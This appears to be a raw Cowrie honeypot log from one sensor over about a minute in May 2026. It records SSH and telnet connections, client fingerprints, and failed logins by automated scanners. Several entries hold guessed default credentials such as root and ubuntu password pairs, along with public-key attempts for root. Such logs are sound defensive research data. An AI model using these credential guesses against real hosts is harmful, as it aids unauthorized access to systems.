{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:11.971106Z","src_ip":"2.57.122.238","session":"e83a64fd56d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:12.276378Z","src_ip":"2.57.122.238","session":"e83a64fd56d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:13.380932Z","src_ip":"2.57.122.238","session":"e83a64fd56d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58934,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef93af689f4d","protocol":"ssh","message":"New connection: 193.37.70.224:58934 (10.17.0.5:22) [session: ef93af689f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:18.368733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:18.374299Z","src_ip":"193.37.70.224","session":"ef93af689f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:18.466409Z","src_ip":"193.37.70.224","session":"ef93af689f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:18.833542Z","src_ip":"193.37.70.224","session":"ef93af689f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:19.931526Z","src_ip":"193.37.70.224","session":"ef93af689f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45160,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e448d3d729","protocol":"telnet","message":"New connection: 152.42.224.71:45160 (10.17.0.5:23) [session: 37e448d3d729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:30.810676Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.251","src_port":33872,"dst_ip":"10.17.0.5","dst_port":22,"session":"8747d3fa9c17","protocol":"ssh","message":"New connection: 209.90.232.251:33872 (10.17.0.5:22) [session: 8747d3fa9c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:35.318122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:35.323690Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:35.411631Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:fe:c7:77:bb:d8:3a:13:3a:eb:a7:3a:b4:ef:56:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDz4lN3arnNIJ6hx5BpZFAQozz9IF4SD6ve0cdEdxuZ5t5v3ItqeqCiSX+a4Qk9OmhKkB3aT8RnUJ86duO2dtRReKta8lCpf5YbD8hw0V7GawG77l5sdrZ+3DCd4oF+I9GPZIHW6d1dPcNrlGhXxRp4s/EJyYzhjIY9ENDu/+I759nQb3l14OGoBJglEFGbCmp7lHZXkuC/6nTAYpk8BsjQyeyGRalWz60LTZuJGQJk0iT4Bby2aX+ZqpwOn0ta2m36Om2ot7+t7a0i1Zb+biVArlN8RxcNJHBUiaxC3+TXDCgwCybGaCoobVWOn6RV+dcQZPvV0jn88kT/zRO8ceYH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:fe:c7:77:bb:d8:3a:13:3a:eb:a7:3a:b4:ef:56:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.141056Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:fe:c7:77:bb:d8:3a:13:3a:eb:a7:3a:b4:ef:56:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDz4lN3arnNIJ6hx5BpZFAQozz9IF4SD6ve0cdEdxuZ5t5v3ItqeqCiSX+a4Qk9OmhKkB3aT8RnUJ86duO2dtRReKta8lCpf5YbD8hw0V7GawG77l5sdrZ+3DCd4oF+I9GPZIHW6d1dPcNrlGhXxRp4s/EJyYzhjIY9ENDu/+I759nQb3l14OGoBJglEFGbCmp7lHZXkuC/6nTAYpk8BsjQyeyGRalWz60LTZuJGQJk0iT4Bby2aX+ZqpwOn0ta2m36Om2ot7+t7a0i1Zb+biVArlN8RxcNJHBUiaxC3+TXDCgwCybGaCoobVWOn6RV+dcQZPvV0jn88kT/zRO8ceYH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.145546Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:5b:8a:ba:fe:2f:88:f3:c2:b1:6d:05:c4:a6:28:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeAnmT5tiUG3Tuf4XiybTqkvHwj/8eD/A37rYW1VFTvA48oG+YcEEJoyve1EL54XtjWDJFNvAwsPullUMrY0+mGS5GCrkjtc7oaoDK5TAMXpkhtxu7tK+T9TW16WcY/06Km3OzG5YWKh5WVKnvBitAczQDevsLNMZ2ig4CAa+CHQ9yN724wYQKu0etlUcLW5B39kZWCXm/8NBtNahtjjz0SFH8/4unAMUmzf8/i74RpmZujDsOrD/zwzxnWtEQeMSmWOTflmDiDjHnvkzaRYIC4UoOgvxedog4wIWzYN1YUhR5p+8eTg7s9bBzQa6wBYxvagPnXg3H+bTowYWzW6zf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:5b:8a:ba:fe:2f:88:f3:c2:b1:6d:05:c4:a6:28:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.225205Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:5b:8a:ba:fe:2f:88:f3:c2:b1:6d:05:c4:a6:28:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeAnmT5tiUG3Tuf4XiybTqkvHwj/8eD/A37rYW1VFTvA48oG+YcEEJoyve1EL54XtjWDJFNvAwsPullUMrY0+mGS5GCrkjtc7oaoDK5TAMXpkhtxu7tK+T9TW16WcY/06Km3OzG5YWKh5WVKnvBitAczQDevsLNMZ2ig4CAa+CHQ9yN724wYQKu0etlUcLW5B39kZWCXm/8NBtNahtjjz0SFH8/4unAMUmzf8/i74RpmZujDsOrD/zwzxnWtEQeMSmWOTflmDiDjHnvkzaRYIC4UoOgvxedog4wIWzYN1YUhR5p+8eTg7s9bBzQa6wBYxvagPnXg3H+bTowYWzW6zf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.230657Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:f5:38:18:84:38:47:c7:ff:04:c1:a7:8f:76:85:46","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIESixfJXd652PH4eNT9269iTcOZTb1GS4KeV/5Xoa+1+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 28:f5:38:18:84:38:47:c7:ff:04:c1:a7:8f:76:85:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.309129Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:f5:38:18:84:38:47:c7:ff:04:c1:a7:8f:76:85:46","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIESixfJXd652PH4eNT9269iTcOZTb1GS4KeV/5Xoa+1+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.316891Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:1a:57:77:f5:60:13:9f:b9:8e:9c:2f:52:4d:6f:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuU//zFCk+5IcVOQE7UlN2sJDj5zEj/ra47cw/svyf5yx2hGaBEFOVz1E8LBCvzkI2SrzlTMe8gNFhmwOcIh3N0NHMOO300sdKeREd2NBXYi9nqGFoEu1O8+ahPehWcjY0t1slOIudgMa+S0Lmh/hmHGjEaln31TLqKzjD3nL+OH1H0V1vAEcg3CKb4FIzAqYuP3DMvFN+iRUGTwlqpL+xB2FSYMd4MUAzR8QCZwmzhC48o3zNNCalKF3hwqohFsuVhiSeJkSacCg3tmAvsAdr2/iRY6nA4cPfFlAe42btwjrlMnM0G2qyU05R+t53Pw6HN5FriLcDqk1MtCQwTxI+97leutkdP75FGwsT/6ssK04y5sPwq7Agi2XELfu0CgCNJ3V6rSzkHVsYznSVnXBC5qepia7hPVxnB+9xAys/oOq38r7yfai9fSF8Fuy8ifBrke5IkswrLqM14H7svKK3NdNblfSCzEcrlgrCeUm5/Nznu+cy8Cp086m3OOAD4/53+AuXAq3isSNJVMnpLP/hS4RDty6Xb5Ko39oqJRWdxrOIryeAszh2iJ4kZm05QkMVJidcEm9cipUB9l2lynMbD03J+GYgIZpgpSs+DKz0zcUGOGGRTlrajxHAaBrpGv0pRSM1YyQ9TPaJ8WJldrXxoaU5YtAc2xZ2eLcK72LXhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:1a:57:77:f5:60:13:9f:b9:8e:9c:2f:52:4d:6f:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.399353Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:1a:57:77:f5:60:13:9f:b9:8e:9c:2f:52:4d:6f:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuU//zFCk+5IcVOQE7UlN2sJDj5zEj/ra47cw/svyf5yx2hGaBEFOVz1E8LBCvzkI2SrzlTMe8gNFhmwOcIh3N0NHMOO300sdKeREd2NBXYi9nqGFoEu1O8+ahPehWcjY0t1slOIudgMa+S0Lmh/hmHGjEaln31TLqKzjD3nL+OH1H0V1vAEcg3CKb4FIzAqYuP3DMvFN+iRUGTwlqpL+xB2FSYMd4MUAzR8QCZwmzhC48o3zNNCalKF3hwqohFsuVhiSeJkSacCg3tmAvsAdr2/iRY6nA4cPfFlAe42btwjrlMnM0G2qyU05R+t53Pw6HN5FriLcDqk1MtCQwTxI+97leutkdP75FGwsT/6ssK04y5sPwq7Agi2XELfu0CgCNJ3V6rSzkHVsYznSVnXBC5qepia7hPVxnB+9xAys/oOq38r7yfai9fSF8Fuy8ifBrke5IkswrLqM14H7svKK3NdNblfSCzEcrlgrCeUm5/Nznu+cy8Cp086m3OOAD4/53+AuXAq3isSNJVMnpLP/hS4RDty6Xb5Ko39oqJRWdxrOIryeAszh2iJ4kZm05QkMVJidcEm9cipUB9l2lynMbD03J+GYgIZpgpSs+DKz0zcUGOGGRTlrajxHAaBrpGv0pRSM1YyQ9TPaJ8WJldrXxoaU5YtAc2xZ2eLcK72LXhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.405250Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:a8:09:85:1e:1d:24:22:ed:b5:d4:60:a4:54:ad:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9PEJpXlY/UJibaeSFEa/ZmlJnK2uEU8r8wJv+p1QdcaeeQgvoUz3qdqRcmnpCcHka+cHdcg7Bku4m8A6zIwLdq164WTRZhpQv3thWZAS7EszFcUosfq+TiLcT6EYDf2rDKBycj9B3NceKgAVUus9rZ2i9SD1sr7Jip9+plGwb1LpZg94hUc8KoeM9WVLWSU6eUF6hTtz63449YMGE+MyT6PZK/Mkmmu4NDMpcVV8HzAPPaPXX4bCdkJTQ7LhqZSXP0Wkigl/FN3vv1c0dSwxJf5Tcw9Y8YpO3pUecGaNs0e5SBBXtpKT7QnGFEoMqgjv+RoK7DHPoW5aFZZzopp6sE2wxiumJc/0EDIA5kVUafqYXAe0sc38caxky07KX2QGrrk6cxL5zIcHZ0Ay/4jt2ALFT2xJg8DjgmGURnyIEpbBmO35m7nkHs3pEVuTS8uEsKDzKmCpCHOKCIYq/wWwQw0tMyu4QVJpTFvYXBSdbnEZQfB6fw33kT9lLISNDETE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:a8:09:85:1e:1d:24:22:ed:b5:d4:60:a4:54:ad:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.488683Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:a8:09:85:1e:1d:24:22:ed:b5:d4:60:a4:54:ad:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9PEJpXlY/UJibaeSFEa/ZmlJnK2uEU8r8wJv+p1QdcaeeQgvoUz3qdqRcmnpCcHka+cHdcg7Bku4m8A6zIwLdq164WTRZhpQv3thWZAS7EszFcUosfq+TiLcT6EYDf2rDKBycj9B3NceKgAVUus9rZ2i9SD1sr7Jip9+plGwb1LpZg94hUc8KoeM9WVLWSU6eUF6hTtz63449YMGE+MyT6PZK/Mkmmu4NDMpcVV8HzAPPaPXX4bCdkJTQ7LhqZSXP0Wkigl/FN3vv1c0dSwxJf5Tcw9Y8YpO3pUecGaNs0e5SBBXtpKT7QnGFEoMqgjv+RoK7DHPoW5aFZZzopp6sE2wxiumJc/0EDIA5kVUafqYXAe0sc38caxky07KX2QGrrk6cxL5zIcHZ0Ay/4jt2ALFT2xJg8DjgmGURnyIEpbBmO35m7nkHs3pEVuTS8uEsKDzKmCpCHOKCIYq/wWwQw0tMyu4QVJpTFvYXBSdbnEZQfB6fw33kT9lLISNDETE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.493668Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:36.573119Z","src_ip":"209.90.232.251","session":"8747d3fa9c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55622,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3091ce9915","protocol":"telnet","message":"New connection: 152.42.224.71:55622 (10.17.0.5:23) [session: 1f3091ce9915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:39.572270Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55636,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9333e1464d","protocol":"telnet","message":"New connection: 152.42.224.71:55636 (10.17.0.5:23) [session: 8d9333e1464d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:40.576953Z"}
{"eventid":"cowrie.session.closed","duration":89.07724928855896,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:42.753521Z","src_ip":"152.42.224.71","session":"e731f07a7ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37788,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e62584074aa","protocol":"ssh","message":"New connection: 103.153.68.219:37788 (159.203.135.109:22) [session: 0e62584074aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:08.647809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:08.656416Z","src_ip":"103.153.68.219","session":"0e62584074aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:08.904061Z","src_ip":"103.153.68.219","session":"0e62584074aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3","message":"login attempt [root/a1s2d3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:09.651912Z","src_ip":"103.153.68.219","session":"0e62584074aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95534634590149,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:10.527499Z","src_ip":"152.42.224.71","session":"1f3091ce9915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:10.909433Z","src_ip":"103.153.68.219","session":"0e62584074aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.69402074813843,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:20.504558Z","src_ip":"152.42.224.71","session":"37e448d3d729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":24403,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee6322736d53","protocol":"ssh","message":"New connection: 213.209.159.56:24403 (10.17.0.5:22) [session: ee6322736d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:24.336498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:24.340698Z","src_ip":"213.209.159.56","session":"ee6322736d53","protocol":"ssh"}
